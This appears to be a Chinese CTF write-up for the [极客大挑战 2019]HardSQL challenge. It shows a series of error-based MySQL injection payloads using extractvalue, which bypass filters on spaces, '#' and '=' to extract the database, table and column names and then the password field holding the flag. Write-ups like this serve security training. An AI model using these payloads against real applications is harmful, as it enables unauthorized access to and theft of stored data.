MySQL注入 [极客大挑战 2019]HardSQL

MySQL注入 [极客大挑战 2019]HardSQL

一、必备基础知识

#号被过滤了使用%23--+绕过
空格被过滤了使用括号/**/绕过

二、实战化渗透

[极客大挑战 2019]HardSQL
1.使用1'进行简单的测试,报错
在这里插入图片描述

2.使用#注释--+,发现均被过滤,使用#URL绕过

1'#

在这里插入图片描述

3.经过测试,过滤了and空格等号
使用括号绕过空格,使用like绕过等号,使用extractvalue报错注入
获取数据库

1'or(select(extractvalue(1,concat('~',(select(database()))))))%23

在这里插入图片描述

4.得到数据库名为geek,获取数据表

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23

在这里插入图片描述
5.得到数据表名为H4rDsq1,获取字段名信息

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23

在这里插入图片描述

6.得到三个字段,分别是id,username,password,我们要的是密码信息

1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))%23

在这里插入图片描述
7.得到一部分flag,因为flag比较长,回显出来的字段长度不足,使用rigth,left函数进行截断,得到完整的flag

1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))%23

在这里插入图片描述
到的flag为1-8965-f560969904c1}

在这里插入图片描述
8.得到另一段flag{99aefc25-50ec-4161-8965-f5

9.拼接之后,获取完整的flag

flag{99aefc25-50ec-4161-8965-f560969904c1}

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值